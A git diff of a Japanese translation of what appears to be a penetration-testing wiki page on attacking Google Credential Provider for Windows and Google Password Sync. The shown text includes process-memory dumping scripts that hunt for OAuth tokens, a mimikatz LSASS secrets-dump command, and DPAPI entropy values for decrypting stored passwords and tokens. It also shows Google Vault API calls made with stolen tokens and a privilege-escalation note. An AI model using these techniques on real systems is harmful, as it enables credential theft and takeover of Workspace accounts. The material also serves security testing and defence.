AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**16BのMAC**を持つ**暗号文**があります。
### GCPW - プロセスメモリからのトークンダンプ
以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセストークン**および**リフレッシュトークン**に関連する文字列を**検索**できます。ChromeがいくつかのGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセストークンを保存しています!**
以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセスおよびリフレッシュトークン**に関連する文字列を**検索**できます。ChromeがGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセス トークンを保存しています!**
<details>
<summary>Chromeプロセスをダンプしてトークンを検索</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
`gcpw_extension.exe`を使って同じことを試みましたが、トークンは見つかりませんでした。
何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ文字を削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:
何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません
<details>
<summary>1文字ずつ文字を削除してアクセストークンを確認する</summary>
<summary>1文字ずつ削除してアクセストークンを確認する</summary>
```bash
#!/bin/bash
@@ -380,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
さらに、Chromiumのソースコードを確認すると、[**このファイル**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)を見つけることができ、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます:
さらに、Chromiumのソースコードを確認すると、[**このファイルを見つけることができます**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます:
<details>
@@ -463,7 +461,7 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
最も興味深いのはおそらく次のものです
最も興味深いのはおそらく次のものです:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
@@ -591,7 +589,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -760,10 +758,10 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータの保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。
**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータのデータ保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。
- Google Workspace Vaultにおける**Matter**は、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化する**コンテナ**です。これは、その特定の問題に関連する**Holds**、**Searches**、および**Exports**を管理するための中心的なハブとして機能します。
- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内のデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内のデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
```bash
# List matters
curl -X GET \
@@ -791,13 +789,13 @@ curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
より多くの [API エンドポイントはドキュメントにあります](https://developers.google.com/vault/reference/rest)
</details>
## GCPW - 平文パスワードの回復
GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です:
GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -805,7 +803,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵を要求することができます:
次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵をリクエストすることができます:
<details>

View File

@@ -16,33 +16,33 @@
- GUIのあるドメインコントローラーでのみ利用可能
- **Workspaceユーザーを管理する**権限を持つ**GCPのサービスアカウントの資格情報**jsonファイルを提供
- これらの資格情報は期限切れにならず、悪用される可能性があるため非常に悪いアイデアです
- SAがGCPで侵害される可能性があるため、Workspaceに対してSAアクセスを与えるのは非常に悪いアイデアです
- GUIのないドメインコントロール用にGoogleが要求します
- SAがGCPで侵害される可能性があるため、WorkspaceへのSAアクセスを与えるのは非常に悪いアイデアです
- GUIのないドメイン制御にはGoogleが必要とします
- これらの資格情報もレジストリに保存されます
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化**されて**レジストリ**に保存されます。
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化され**て**レジストリ**に保存されます。
### GPS - ディスクからのパスワードとトークンのダンプ
> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GPS**を検出し、設定に関する情報を取得し、**パスワードとトークンを復号化する**ことができます。
**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**ファイル内には、設定の一部として**`baseDN`**や使用されている**`username`**が見つかります。
ファイル**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**には、設定の一部として**ADの`baseDN`**や使用されている**ユーザー名**が見つかります。
レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、ADユーザーのための**暗号化されたリフレッシュトークン**と**暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、**暗号化されたリフレッシュトークン**と**ADユーザーのための暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
暗号化された**パスワード**(存在する場合)は**`ADPassword`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
暗号化されたトークン(存在する場合)は**`AuthToken`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
さらに、これは**`0123456789abcdefghijklmnopqrstv`**という辞書を使用してbase32hexでエンコードされています。
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、これにより設定されたパスワードと認証トークン最初に復号化され、ツールは両方のケースで使用された**エントロピーの値**を**表示**します:
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、設定されたパスワードと認証トークン最初に復号化、ツールは両方のケースで使用されたエントロピーの値を**表示**します:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
これらのAPIへの呼び出しの入力または出力で**復号化された**値を見ることも可能ですWinpeasが動作しなくなった場合に備えて
パスワード同期が**SA資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
パスワード同期が**SA資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
### GPS - メモリからのトークンのダンプ
@@ -52,7 +52,7 @@ ADに設定された資格情報も見つけることができると思います
<details>
<summary><code>PasswordSync.exe</code>および<code>password_sync_service.exe</code>プロセスをダンプしてトークンを検索</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -148,7 +148,7 @@ https://www.googleapis.com/oauth2/v4/token
<details>
<summary>スコープをブルートフォースするためのBashスクリプト</summary>
<summary>Bashスクリプトでスコープをブルートフォースする</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -172,13 +172,13 @@ rm /tmp/valid_scopes.txt
```
</details>
そして、これが執筆時に得られた出力です
そして、これが執筆時に得られた出力です:
```
https://www.googleapis.com/auth/admin.directory.user
```
どのスコープも指定しない場合と同じです。
> [!CAUTION]
> このスコープでは、**既存のユーザーのパスワードを変更して権を昇格させる**ことができます。
> このスコープでは、**既存のユーザーのパスワードを変更して権を昇格させる**ことができます。
{{#include ../../../banners/hacktricks-training.md}}